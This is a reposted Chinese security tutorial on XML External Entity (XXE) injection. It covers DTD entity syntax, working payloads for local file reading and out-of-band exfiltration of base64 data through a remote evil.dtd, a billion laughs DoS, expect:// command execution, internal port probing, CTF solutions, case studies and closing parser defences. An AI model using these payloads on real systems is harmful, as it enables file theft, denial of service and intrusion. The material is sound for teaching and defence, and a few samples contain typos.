

# XXE(XML External Entity attack)XML外部实体注入攻击

转载

[weixin\\_34383618](#) 于 2018-08-15 15:23:00 发布 155 收藏  
文章标签: [php](#) [json](#) [python](#)

## 导语

XXE: XML External Entity 即外部实体, 从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时, 解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml\_load 默认情况下会解析外部实体, 有XXE漏洞的标志性函数为simplexml\_load\_string ()。

尽管XXE漏洞已经存在了很多年, 但是它从来没有获得它应有的关注度。很多XML的解析器默认是含有XXE漏洞的, 这意味着开发人员有责任确保这些程序不受此漏洞的影响。比如今年7月刚爆出的[微信支付XXE漏洞](#)案例。

libxml2.9.1及以后, 默认不解析外部实体。可以[在此](#)了解libxml各版本具体改动情况。本次测试在Window下使用的php5.4.45(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中, 可以使用phpinfo()查看libxml的版本信息。当XML声明中standalone值是yes的时候表示DTD仅用于验证文档结构, 外部实体将被禁用。但它的默认值是no, 而且有些parser会直接忽略这一项。

## XML外部实体

本文主要讲外部实体注入攻击, 所以基本的XML语法就不过多的描述。主要看一下[DTD-实体](#)。

首先让我们了解一下基本的PAYLOAD结构:

DTD: Document Type Definition 即文档类型定义, 用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明), 也可以独立的放在另外一个单独的文件中(外部引用)。

实体分为一般实体和参数实体

1. 一般实体的声明: `<!ENTITY 实体名称 "实体内容">`

引用一般实体的方法: `&实体名称;`

p.s.经实验, 普通实体可以在DTD中引用, 可以在XML中引用, 可以在声明前引用, 还可以在实体声明内部引用。

2. 参数实体的声明: `<!ENTITY % 实体名称 "实体内容">`

引用参数实体的方法: `%实体名称;`

p.s.经实验, 参数实体只能在DTD中引用, 不能在声明前引用, 也不能在实体声明内部引用。

如果实体名称中出现如<的特殊字符, 解析就会失败。为了避免这种情况, XML用实体引用替换特殊字符。XML预定义了五个实体引用, 即用<、>、&、&apos;、"替换<、>、&、'、"。

DTD实体声明(重点)

1. 内部实体声明

`<!ENTITY 实体名称 "实体的值">`

当引用一般实体时，由三部分构成：&、实体名、;，当是用参数传入xml的时候，&需URL编码，不然&会被认为是参数间的连接符号。

示例：

```
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;@right;</test>
```

## 2. 外部实体声明

```
<!ENTITY 实体名称 SYSTEM "URI/URL">
```

外部实体可支持http、file等协议。不同程序支持的协议不同，如下图：



其中PHP支持的协议会更多一些，但是需要一定的扩展支持：



示例：

```
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;@right;</author>
```

## XXE的攻击与危害

当我们了解清楚以上的信息后，我们就能理解如何构造外部实体注入攻击与它的危害性了。

### 如何构造外部实体注入攻击

一般xxe利用分为两大场景：有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象，无回显的情况又称为blind xxe，可以使用外带数据通道提取数据。

有回显的payload写法：

直接通过DTD外部实体声明。XML内容如下：

```
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>
```

通过DTD文档引入外部DTD文档，再引入外部实体声明。XML内容如下：

```
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
<abc>&b;</abc>
```

evil.dtd内容:

```
<!ENTITY b SYSTEM "file:///etc/passwd">
```

通过DTD外部实体声明引入外部实体声明。XML内容如下:

```
<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://localhost/evil.dtd">
    %d;
]>
<abc>&b;</abc>
```

evil.dtd内容:

```
<!ENTITY b SYSTEM "file:///etc/passwd">
```

但是如果通过如下声明是不可以的:

```
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY d SYSTEM "http://localhost/evil.xml">
]>
<abc>&d;</abc>
```

测试发现这种实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,参数实体就好用很多。

无回显的payload写法:

第一种无回显payload写法:

```
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd; %all;
]>
<abc>&send;</abc>
```

其中evil.xml文件内容为

```
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'">
```

调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用实体send。

第二种无回显payload写法:

```
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dttd;
%send;
]>
<abc></abc>
```

其中evil.xml文件内容为:

```
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'"> %payload;
```

调用过程和第一种方法类似, 但最里层的嵌套里%要进行实体编码成%。无报错需要访问接受数据的服务器中的日志信息, 可以看到经过base64编码过的数据, 解码后便可以得到数据。

这里注意参数实体引用%file;必须放在外部文件里, 因为根据这条 [规则](#)。在内部DTD里, 参数实体引用只能和元素同级而不能直接出现在元素声明内部, 否则解析器会报错: PReferences forbidden in internal subset。这里的 internal subset指的是中括号[]内部的一系列元素声明, PReferences 指的应该是参数实体引用 Parameter-Entity Reference。

一般都使用第二种方法, 因为当文件中含有中文字符或<字符, 会导致不能解析。

## XXE带来的危害

利用xxe漏洞可以进行文件读取, 拒绝服务攻击, 命令(代码)执行, SQL(XSS)注入, 内外扫描端口, 入侵内网站点等。内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现, 可以理解是使用xxe进行SSRF的利用, 基本上啥都能做。

首先准备一个有XXE漏洞的文件, 本次测试以php为主:

```
<?php
$xml = simplexml_load_string($_REQUEST['xml']);    echo "<pre>" ;    print_r($xml);//注释掉该语句即为无
```

### 危害1.读取任意文件

有回显情况:

```
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///E://phpStudy/PHPTutorial/www/etc/passwd.txt">
]>
<abc>&test;</abc>
```



无回显情况:

本次测试用的phpStudy，需开启apache日志记录并重启服务。当无回显情况时，可以讲数据发送到远程服务器。

```
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=E://phpStudy/PHPTutorial/WWW/etc/pa
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dttd;
%send;
]>
<abc></abc>
```

远程服务器部署evil.xml内容为:

```
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'"> %payload;
```



YWRtaW46OnBhc3N3b3JkIQ0KdGVzdDo6cGFzc3dkIQ==Base64解码即可。

通过此方法可以读取/etc/passwd，有些XML解析库支持列目录，攻击者通过列目录、读文件、获取帐号密码后进一步攻击。如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

## 危害2.拒绝服务攻击

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

此示例就是著名的Billion laughs attack该攻击是通过创建一项递归的 XML 定义，在内存中生成十亿个"Ha!"字符串，从而导致 DoS 攻击。

原理：构造恶意的XML实体文件耗尽可用内存，因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中，解析非常慢，造成了拒绝服务器攻击。

## 危害3.远程命令(代码)执行

```
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://id">
]>
<abc>&test;</abc>
```

此示例是在安装expect扩展的PHP环境里执行系统命令，其他协议也有可能由此漏洞。

#### 危害4.内网信息探测

利用http协议http://url/file.ext，替换标准poc中相应部分即可,这种情况比较不稳定，根据不同xml解析器会得到不同的回显报错结果。

有回显情况：

```
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://127.0.0.1:87/tets.txt">
]>
<abc>&test;</abc>
```

当端口开放时，如80端口：

当端口未开放时，如81端口：

无回显情况：

```
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:81/">
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd;
%send;
]>
<abc></abc>
```

远程服务器部署evil.xml内容为：

```
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'"> %payload;
```

观察日志文件即可。

当端口开放时，如80端口：

当端口未开放时，如81端口：

有的无回显的情况还可以通过抓包看响应头返回的状态码，返回的报错信息等判断。

#### 危害5.攻击内网网站

难得搭建环境，就直接引用网上的例子吧：

这个示例是攻击内网strusts2网站，远程执行系统命令。

还可部署bash文件建立监听，获得反弹shellcode等。

由于xml实体注入攻击可以利用http://协议，也就是可以发起http请求。可以利用该请求去探查内网，进行SSRF攻击。

## CTF题目

本人是个CTFer，所以再结合两道CTF题目，更加深入理解此攻击。

### JarvisOJ——api调用

请设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口：<http://web.jarvisoj.com:9882/>

先查看源码：

再看响应：

开始以为是考反序列化，但根据提示和结果发现不是。这个页面仅仅是向后台发送请求，后台再响应返回几个特定的字符串，修改请求值，发现返回与前台的输入没多大关系。最后，知道是XXE。

这道题目，默认的是json格式传递，因此首先我们更改Content-Type的值为application/xml，然后传入xml代码：

```
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>
<abc>&xxe;</abc>
```

### DDCTF——喝杯Java冷静下

<http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/>

提示：第二层关卡应用版本号为2.3.1

此题目有点难，由于技术不到位，有的地方不是很清楚就不误导读者了。

直接看看大佬的姿势吧：

[DDCTF2018 WEB6 喝杯Java冷静下 WRITEUP —— LZ1Y](#)

[DDCTF 2018 Web Writeup —— 白帽100安全攻防实验室](#)

## 真实案例

[微信支付XXE漏洞](#) 再提一次刚爆出的微信XXE漏洞，还可以欣赏一篇[对此漏洞的修复文章](#)。

在线文件预览引起的问题，修改docx文件的word/document.xml，添加DTD和实体引用，即可触发，可据此生成恶意的Word文档。

1. [WooYun-2014-73321 (网易邮箱某处XXE可读取文件)](<http://www.anquan.us/static/bugs/wooyun-2014-073321.html>)
2. [WooYun-2014-73439 (QQ邮箱XXE可读取任意文件)](<http://www.anquan.us/static/bugs/wooyun-2014-073439.html>)

直接处理POST XML数据。许多都是直接 `simplexml_load_string()` 处理POST进来的数据。可控字符串出现在XML文件里就要引起注意。

1. [WooYun-2015-109725 (中通某处XXE漏洞可读取服务器任意文件)](<http://www.anquan.us/static/bugs/wooyun-2015-109725.html>)

## XML处理工具

[WooYun-2014-59911 \(从开源中国的某XXE漏洞到主站shell\)](#) 格式化XML。

[WooYun-2015-134057 \(百度某平台Blind XXE漏洞&可Bool型SSRF攻击\)](#) XML检查工具。

3. [WooYun-2015-135397 \(搜狗某平台Blind XXE漏洞\(读取文件/SSRF/Struts2命令执行\)\)](#) XML检查工具。

[WooYun-2014-58381 \(百度某功能XML实体注入\)](#) 该功能点提供svg转jpg服务，通过构造特殊svg文件注入。

[WooYun-2014-59783 \(百度某功能XML实体注入\(二\)\)](#) 在第一次修复后只过滤了ENTITY这个词，DTD本身就支持调用外部的DTD文件，因此我们只需要在svg里加一个外部的DTD就绕过了。

[WooYun-2014-74069 \(鲜果网RSS导入Blind XXE漏洞\)](#) 导入OPML文件。

[WooYun-2015-111828 \(博客园某处XXE可下载任意文件\)](#) 博客搬家功能，导入XML。

[WooYun-2015-117316 \(用友人力资源管理软件全版本XXE漏洞\)](#) 登陆与重置密码时使用XML传输数据。

[WooYun-2015-148793 \(AOL Website XML External Entity\(XXE\) Vulnerability\)](#) xmlrpc service。

[WooYun-2015-156208 \(国际php框架slim架构上存在XXE漏洞\(XXE的典型存在形式\)\)](#) 服务端根据请求的 content-type 来区别对待提交的数据。application/x-www-form-urlencoded、application/json、application/xml 被用不同的方式解析。XML直接调用 `simplexml_load_string` 处理导致漏洞。有趣的是旧版本对该问题做了防范，新版本去除了相关代码，可能是觉得新版本对PHP版本需求在5.5以上。实际上PHP是否解析外部实体与本身版本无关，与编译时libxml库版本有关。

[WooYun-2016-168457 \(唯品会存在Blind XXE 漏洞\)](#)。作者说 关于XXE，觉得漏洞本身没太多的玩点，比较有意思主要在于：不同语言处理URI的多元化和不同XML解析器在解析XML的一些特性。xfire是流行的webservice开发组件，其在invoke时使用了STAX解析XML导致XML实体注入发生。乌云上一大波XXE洞都是这个，详细说明见 [WooYun-2016-166751\(Xfire文件读取漏洞\)](#)。

[WooYun-2014-59911 \(从开源中国的某XXE漏洞到主站shell\)](#) XXE读取到脚本文件/home/run/ssh\_go.sh，内含SSH登陆密码。

[Revisiting XXE and abusing protocols](#) 【XXE+expect模块=>Facebook RCE】

[XXE on Windows system ...then what ??](#) 【XXE+SMB=>内网RCE】

- [Apache Solr XXE漏洞分析](#) 【CVE-2018-8026】

## XXE自动化工具

XXEinjector：一款功能强大的自动化XXE注射工具。



本文就不具体演示、讲述此工具了。推荐一篇文章，详细的讲述了其使用方法，最后还附了XXEinjector工具的下载。

## 寻找XXE

### 检测xml是否被解析

尝试注入特殊字符，使XML失效，引发解析异常，明确后端使用XML传输数据。

- 单双引号 ' " : XML的属性值必须用引号包裹，而数据可能进入标签的属性值。
- 尖括号 < > : XML的开始/结束标签用尖括号包裹，数据中出现尖括号会引发异常。
- 注释符 <!-- : XML使用 <!-- This is a comment --> 作注释。
- & : & 用于引用实体。
- CDATA 分隔符 ] ] > : <![CDATA[foo]]> 中的内容不被解析器解析，提前闭合引发异常。

### 检测是否支持外部实体解析

尝试利用实体和DTD。

- 引用外部DTD文件访问内网主机/端口 : <!DOCTYPE a SYSTEM "http://127.0.0.1:2333"> (看响应时间)
- 引用外部DTD文件访问外网 : <!DOCTYPE a SYSTEM "http://vps\_ip" >
- 引用内部实体 : <!DOCTYPE a [!ENTITY xxe "findneo"]><a>&xxe;</a>
- 外部实体读本地文件 : <!DOCTYPE a [!ENTITY xxe SYSTEM "file:///etc/hosts"]><a>&xxe;</a>
- 外部实体访问内网主机/端口 : <!DOCTYPE a SYSTEM "http://192.168.1.2:80"> (看响应时间)
- 外部实体访问外网 : <!DOCTYPE a [!ENTITY xxe SYSTEM "http://vps\_ip"]><a>&xxe;</a>
- 判断问题存在可以OOB提取数据。

## XXE的防御

- 使用开发语言提供的禁用外部实体的方法

### PHP

```
libxml_disable_entity_loader(true);
```

### JAVA

```
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();  
dbf.setExpandEntityReferences(false);
```

### Python

```
from lxml import etree xmlData =  
etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
```

- 过滤用户提交的XML数据

过滤关键词: <!DOCTYPE和<!ENTITY, 或者SYSTEM和PUBLIC。

## 参考资料

1. <http://www.freebuf.com/column/156863.html>
2. <https://security.tencent.com/index.php/blog/msg/69>
3. <https://xz.aliyun.com/t/2571#toc-10>
4. <http://www.w3school.com.cn/dtd/>

大家有任何问题可以提问，更多文章可到[春秋论坛](#)阅读哟~